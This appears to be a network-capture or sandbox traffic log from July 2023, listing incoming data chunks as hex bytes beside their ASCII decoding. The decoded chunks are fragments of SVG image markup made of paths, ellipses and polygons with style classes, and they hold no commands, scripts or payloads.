2e 39 31 2c 30 2c 30 2c 31 2d 33 2e 38 38 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 34 Data Ascii: ss="cls-9" d="M583.62,362.28a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M583.34,354.2a2,2,0,0,1-.91,2.6,2.91,2.91,0,0,1-3.88-1.09,2.81,2.81,0,0,1,.59-3.37,2.64
2023-07-27 19:53:38 UTC	1158	IN	Data Raw: 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 33 2c 32 34 2e 37 38 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 41 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 33 32 39 2e 31 2c 32 36 61 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 32 2e 37 33 2c 31 38 2e 33 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 Data Ascii: ,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M333,24.78a1.61,1.61,0,0,1-.73,2.09A2.34,2.34,0,0,1,329.1,26a2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M332.73,18.3a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0
2023-07-27 19:53:38 UTC	1174	IN	Data Raw: 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 30 2e 33 39 2c 35 36 2e 33 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 30 2e 31 37 2c 34 39 2e 38 32 61 31 2e 36 31 2c Data Ascii: .24,0,0,1,.47-2.69,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M360.39,56.3a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M360.17,49.82a1.61,
2023-07-27 19:53:38 UTC	1190	IN	Data Raw: 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 38 37 2e 38 33 2c 38 37 2e 38 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 41 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 33 38 34 2c 38 39 61 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 38 22 2f 3e 3c 70 61 74 Data Ascii: 3,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M387.83,87.82a1.61,1.61,0,0,1-.73,2.09A2.34,2.34,0,0,1,384,89a2.25,2.25,0,0,1,.47-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.68"/><pat
2023-07-27 19:53:38 UTC	1206	IN	Data Raw: 35 2e 38 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 41 32 2c 32 2c 30 2c 30 2c 31 2c 34 31 35 2c 31 32 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 31 35 2e 32 37 2c 31 31 39 2e 33 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 Data Ascii: 5.82a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0A2,2,0,0,1,415,127"/><path class="cls-9" d="M415.27,119.34a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.7,0,2,2
2023-07-27 19:53:38 UTC	1222	IN	Data Raw: 34 34 32 2e 39 33 2c 31 35 37 2e 33 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 34 32 2e 37 31 2c 31 35 30 2e 38 36 41 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2c 34 34 32 2c 31 35 33 61 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c Data Ascii: 442.93,157.34a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M442.71,150.86A1.61,1.61,0,0,1,442,153a2.35,2.35,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.7,2.1,2.1,0,0,1,
2023-07-27 19:53:38 UTC	1238	IN	Data Raw: 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 37 30 2e 33 37 2c 31 38 38 2e 38 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 37 30 2e 31 35 2c 31 38 32 2e 33 38 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e Data Ascii: class="cls-9" d="M470.37,188.86a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.7,2.09,2.09,0,0,1,2.7,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M470.15,182.38a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.
2023-07-27 19:53:38 UTC	1254	IN	Data Raw: 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 38 35 2e 30 38 2c 33 39 2e 31 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 38 34 2e 38 36 2c 33 32 2e 36 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 Data Ascii: 1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M485.08,39.1a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M484.86,32.62a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0
2023-07-27 19:53:38 UTC	1270	IN	Data Raw: 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 32 2e 35 32 2c 37 30 2e 36 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 32 2e 33 2c 36 34 2e 31 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e Data Ascii: ,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M512.52,70.62a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M512.3,64.14a1.61,1.61,0,0,1-.73,2.09,2.
2023-07-27 19:53:38 UTC	1286	IN	Data Raw: 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 30 2c 31 30 32 2e 31 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 33 39 2e 37 34 2c 39 35 2e 36 36 61 31 2e 36 31 2c 31 2e 36 Data Ascii: ,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M540,102.14a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M539.74,95.66a1.61,1.6
2023-07-27 19:53:38 UTC	1302	IN	Data Raw: 39 2e 30 36 2d 34 2e 38 33 2c 32 2e 38 34 2d 31 33 36 2e 33 2d 32 2e 35 31 2d 31 34 31 2e 38 37 2d 32 2e 31 37 6c 2d 38 33 2e 37 31 2c 35 63 2d 31 2e 38 37 2e 31 32 2d 33 32 2c 31 2e 31 36 2d 33 32 2e 31 33 2c 31 2e 39 34 5a 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 36 22 20 64 3d 22 4d 39 30 30 2e 31 36 2c 31 37 34 6c 34 2e 33 34 2d 35 2e 36 33 2c 32 2e 34 31 2d 33 30 2e 32 36 2d 32 33 2e 36 39 2c 31 34 2e 34 35 63 2d 34 2e 39 34 2c 33 2d 39 2e 38 35 2c 36 2e 31 32 2d 31 34 2e 38 34 2c 39 2e 30 36 2d 34 2e 38 33 2c 32 2e 38 34 2d 31 33 36 2e 33 2d 32 2e 35 31 2d 31 34 31 2e 38 37 2d 32 2e 31 37 6c 2d 38 33 2e 37 31 2c 35 63 2d 31 2e 38 37 2e 31 32 2d 33 32 2c 31 2e 31 36 2d 33 32 2e 31 33 2c 31 2e 39 34 6c 2d 2e 33 39 2c 34 4c 36 31 Data Ascii: 9.06-4.83,2.84-136.3-2.51-141.87-2.17l-83.71,5c-1.87.12-32,1.16-32.13,1.94Z"/><path class="cls-16" d="M900.16,174l4.34-5.63,2.41-30.26-23.69,14.45c-4.94,3-9.85,6.12-14.84,9.06-4.83,2.84-136.3-2.51-141.87-2.17l-83.71,5c-1.87.12-32,1.16-32.13,1.94l-.39,4L61
2023-07-27 19:53:38 UTC	1318	IN	Data Raw: 2e 34 35 2c 31 2e 39 34 2c 31 2e 39 34 2c 30 2c 30 2c 30 2c 2e 33 37 2d 2e 36 36 41 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 30 2c 35 32 30 2e 33 34 2c 32 32 39 2e 30 35 5a 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 32 22 20 64 3d 22 4d 35 32 34 2c 32 32 36 2e 32 32 71 30 2c 2e 32 31 2c 30 2c 2e 34 38 63 30 2c 2e 31 38 2c 30 2c 2e 33 33 2c 30 2c 2e 34 35 68 30 61 31 2e 36 36 2c 31 2e 36 36 2c 30 2c 30 2c 31 2c 2e 32 39 2d 2e 34 32 2c 32 2e 30 36 2c 32 2e 30 36 2c 30 2c 30 2c 31 2c 2e 34 33 2d 2e 33 35 2c 32 2e 33 32 2c 32 2e 33 32 2c 30 2c 30 2c 31 2c 2e 35 33 2d 2e 32 34 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2c 2e 36 2d 2e 30 38 2c 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2c 31 2c 2e 31 39 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 36 Data Ascii: .45,1.94,1.94,0,0,0,.37-.66A2.5,2.5,0,0,0,520.34,229.05Z"/><path class="cls-2" d="M524,226.22q0,.21,0,.48c0,.18,0,.33,0,.45h0a1.66,1.66,0,0,1,.29-.42,2.06,2.06,0,0,1,.43-.35,2.32,2.32,0,0,1,.53-.24,2.35,2.35,0,0,1,.6-.08,2.15,2.15,0,0,1,1,.19,2,2,0,0,1,.6
2023-07-27 19:53:38 UTC	1334	IN	Data Raw: 79 32 3d 22 33 32 34 2e 32 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 36 22 20 64 3d 22 4d 36 36 39 2e 31 39 2c 33 31 33 2e 33 34 76 32 63 30 2c 31 2e 33 36 2c 33 2e 32 33 2c 32 2e 34 36 2c 37 2e 32 31 2c 32 2e 34 36 73 37 2e 32 31 2d 31 2e 31 2c 37 2e 32 31 2d 32 2e 34 36 76 2d 32 22 2f 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 36 37 36 2e 34 22 20 63 79 3d 22 33 31 33 2e 33 34 22 20 72 78 3d 22 37 2e 32 31 22 20 72 79 3d 22 32 2e 34 35 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 70 6f 69 6e 74 73 3d 22 36 36 38 2e 31 35 20 33 33 31 2e 34 38 20 36 36 34 2e 37 33 20 33 32 39 2e 31 35 20 36 36 34 2e 39 33 20 33 31 37 2e 37 34 20 36 36 38 2e 34 20 33 31 Data Ascii: y2="324.26"/><path class="cls-76" d="M669.19,313.34v2c0,1.36,3.23,2.46,7.21,2.46s7.21-1.1,7.21-2.46v-2"/><ellipse class="cls-38" cx="676.4" cy="313.34" rx="7.21" ry="2.45"/><polygon class="cls-38" points="668.15 331.48 664.73 329.15 664.93 317.74 668.4 31
2023-07-27 19:53:38 UTC	1350	IN	Data Raw: 20 35 36 38 2e 37 35 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 2f 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 37 22 20 63 78 3d 22 38 34 38 2e 36 34 22 20 63 79 3d 22 32 31 38 2e 37 34 22 20 72 78 3d 22 32 2e 32 34 22 20 72 79 3d 22 32 2e 38 38 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 35 2e 36 39 20 35 36 39 2e 38 38 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 2f 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 37 22 20 63 78 3d 22 38 34 38 2e 36 34 22 20 63 79 3d 22 32 31 38 2e 37 34 22 20 72 78 3d 22 31 2e 36 22 20 72 79 3d 22 32 2e 30 35 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 35 2e 36 39 20 35 36 39 2e 38 38 29 20 72 6f 74 61 74 65 28 Data Ascii: 568.75) rotate(-38.07)"/><ellipse class="cls-97" cx="848.64" cy="218.74" rx="2.24" ry="2.88" transform="translate(45.69 569.88) rotate(-38.07)"/><ellipse class="cls-97" cx="848.64" cy="218.74" rx="1.6" ry="2.05" transform="translate(45.69 569.88) rotate(
2023-07-27 19:54:07 UTC	1733	IN	Data Raw: 33 34 63 30 2d 2e 30 35 2d 2e 32 38 2d 2e 32 35 2d 2e 33 32 2d 2e 33 61 2e 33 2e 33 2c 30 2c 30 2c 31 2d 2e 30 39 2d 2e 32 33 2e 33 32 2e 33 32 2c 30 2c 30 2c 31 2c 2e 33 33 2d 2e 33 33 43 38 31 35 2e 32 36 2c 32 35 30 2e 31 34 2c 38 31 35 2e 33 34 2c 32 35 30 2e 31 38 2c 38 31 35 2e 36 2c 32 35 30 2e 33 39 5a 6d 31 2e 31 37 2e 34 36 61 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 32 33 2e 36 36 63 30 2c 2e 32 31 2d 2e 32 31 2e 32 38 2d 2e 34 32 2e 32 32 73 2d 2e 31 37 2d 2e 30 38 2d 2e 33 33 2d 2e 34 37 6c 2d 2e 31 36 2d 2e 33 37 61 2e 33 35 2e 33 35 2c 30 2c 30 2c 31 2c 30 2d 2e 31 34 63 30 2d 2e 32 34 2e 32 33 2d 2e 32 36 2e 33 36 2d 2e 32 35 53 38 31 36 2e 36 35 2c 32 35 30 2e 35 39 2c 38 31 36 2e 37 37 2c 32 35 30 2e 38 35 5a 6d 2e 34 35 2e 30 Data Ascii: 34c0-.05-.28-.25-.32-.3a.3.3,0,0,1-.09-.23.32.32,0,0,1,.33-.33C815.26,250.14,815.34,250.18,815.6,250.39Zm1.17.46a2.37,2.37,0,0,1,.23.66c0,.21-.21.28-.42.22s-.17-.08-.33-.47l-.16-.37a.35.35,0,0,1,0-.14c0-.24.23-.26.36-.25S816.65,250.59,816.77,250.85Zm.45.0
2023-07-27 19:54:07 UTC	1749	IN	Data Raw: 2c 32 38 34 2e 39 31 5a 22 2f 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 31 33 22 20 78 3d 22 39 33 30 2e 31 36 22 20 79 3d 22 32 38 35 2e 32 39 22 20 77 69 64 74 68 3d 22 33 2e 37 35 22 20 68 65 69 67 68 74 3d 22 33 2e 31 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 38 36 34 2e 30 36 20 35 37 33 2e 36 37 29 20 72 6f 74 61 74 65 28 2d 31 38 30 29 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 31 34 22 20 64 3d 22 4d 39 33 33 2e 37 32 2c 32 39 35 2e 38 33 61 33 31 2e 37 31 2c 33 31 2e 37 31 2c 30 2c 30 2c 31 2d 36 2e 32 2e 35 31 2c 33 32 2e 34 33 2c 33 32 2e 34 33 2c 30 2c 30 2c 31 2d 36 2e 32 34 2d 2e 35 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 31 35 22 20 64 3d 22 4d 39 33 Data Ascii: ,284.91Z"/><rect class="cls-113" x="930.16" y="285.29" width="3.75" height="3.1" transform="translate(1864.06 573.67) rotate(-180)"/><path class="cls-114" d="M933.72,295.83a31.71,31.71,0,0,1-6.2.51,32.43,32.43,0,0,1-6.24-.51"/><path class="cls-115" d="M93
2023-07-27 19:54:07 UTC	1765	IN	Data Raw: 30 2c 30 2c 30 2c 2e 37 36 2e 36 2c 36 2e 35 38 2c 36 2e 35 38 2c 30 2c 30 2c 30 2c 32 2e 33 35 2c 31 2e 30 37 2c 37 2e 32 38 2c 37 2e 32 38 2c 30 2c 30 2c 30 2c 32 2e 33 37 2d 2e 30 39 6c 31 2e 38 37 2d 2e 32 37 61 35 2e 32 34 2c 35 2e 32 34 2c 30 2c 30 2c 30 2c 32 2e 35 38 2d 2e 38 35 41 32 2e 39 31 2c 32 2e 39 31 2c 30 2c 30 2c 30 2c 39 30 35 2e 35 37 2c 32 35 33 2e 35 32 5a 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 33 34 22 20 64 3d 22 4d 38 39 36 2e 39 32 2c 32 34 36 2e 37 33 61 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 37 34 2d 2e 35 35 63 30 2d 2e 34 32 2e 32 37 2d 2e 37 39 2e 32 32 2d 31 2e 32 32 61 36 2e 34 38 2c 36 2e 34 38 2c 30 2c 30 2c 31 2c 32 2e 33 32 2d 2e 30 35 63 2d 2e 35 38 2e 39 34 2e 33 34 2c 32 2e 31 2c Data Ascii: 0,0,0,.76.6,6.58,6.58,0,0,0,2.35,1.07,7.28,7.28,0,0,0,2.37-.09l1.87-.27a5.24,5.24,0,0,0,2.58-.85A2.91,2.91,0,0,0,905.57,253.52Z"/><path class="cls-134" d="M896.92,246.73a2.36,2.36,0,0,1,.74-.55c0-.42.27-.79.22-1.22a6.48,6.48,0,0,1,2.32-.05c-.58.94.34,2.1,
2023-07-27 19:54:07 UTC	1781	IN	Data Raw: 36 37 2c 34 2e 37 36 2e 36 36 2c 37 2e 32 61 31 30 2e 36 34 2c 31 30 2e 36 34 2c 30 2c 30 2c 31 2d 32 2d 2e 31 38 2c 39 2c 39 2c 30 2c 30 2c 31 2d 31 2e 31 33 2d 2e 33 31 63 2d 2e 32 32 2d 2e 30 35 2d 31 2e 32 36 2d 2e 34 35 2d 31 2e 34 35 2d 2e 33 73 2e 31 38 2e 37 2e 33 32 2e 38 39 63 2e 32 36 2e 33 37 2e 33 34 2e 34 36 2e 32 33 2e 39 61 2e 38 33 2e 38 33 2c 30 2c 30 2c 31 2d 2e 35 31 2e 36 38 63 2d 2e 31 33 2e 30 36 2d 2e 38 36 2e 32 32 2d 31 2c 2e 31 33 2c 31 2e 32 34 2c 31 2e 31 39 2c 33 2e 32 36 2c 31 2c 34 2e 38 36 2c 31 2e 32 6c 32 2e 34 33 2e 32 34 63 2e 36 2e 30 36 2c 31 2e 31 37 2e 31 33 2c 31 2e 34 35 2d 2e 35 34 61 33 2e 38 37 2c 33 2e 38 37 2c 30 2c 30 2c 30 2c 2e 31 32 2d 31 2e 33 31 63 30 2d 31 2d 2e 31 36 2d 32 2d 2e 32 2d 33 43 38 32 37 Data Ascii: 67,4.76.66,7.2a10.64,10.64,0,0,1-2-.18,9,9,0,0,1-1.13-.31c-.22-.05-1.26-.45-1.45-.3s.18.7.32.89c.26.37.34.46.23.9a.83.83,0,0,1-.51.68c-.13.06-.86.22-1,.13,1.24,1.19,3.26,1,4.86,1.2l2.43.24c.6.06,1.17.13,1.45-.54a3.87,3.87,0,0,0,.12-1.31c0-1-.16-2-.2-3C827
2023-07-27 19:54:07 UTC	1797	IN	Data Raw: 2d 33 2d 31 33 2e 35 2d 33 6c 2d 33 30 2e 36 39 2d 33 2e 35 37 63 2d 31 2e 32 34 2d 2e 30 38 2d 34 2d 34 2d 34 2e 38 33 2d 34 2e 39 61 34 33 2e 30 37 2c 34 33 2e 30 37 2c 30 2c 30 2c 30 2d 34 2e 31 37 2d 33 2e 39 35 63 2d 32 2e 30 36 2d 31 2e 37 36 2d 33 2e 39 34 2d 33 2e 38 2d 35 2e 38 39 2d 35 2e 36 38 6c 2d 31 30 2d 39 2e 36 34 63 2d 36 2e 33 36 2d 31 2e 35 36 2d 31 32 2e 37 36 2d 33 2d 31 39 2e 31 32 2d 34 2e 35 36 2d 34 2e 33 35 2d 31 2e 30 38 2d 38 2e 37 34 2d 36 2e 31 33 2d 31 32 2e 38 36 2d 37 2e 38 31 2d 31 2e 32 33 2d 35 2e 31 34 2d 31 2e 35 38 2d 39 2d 33 2e 39 35 2d 31 37 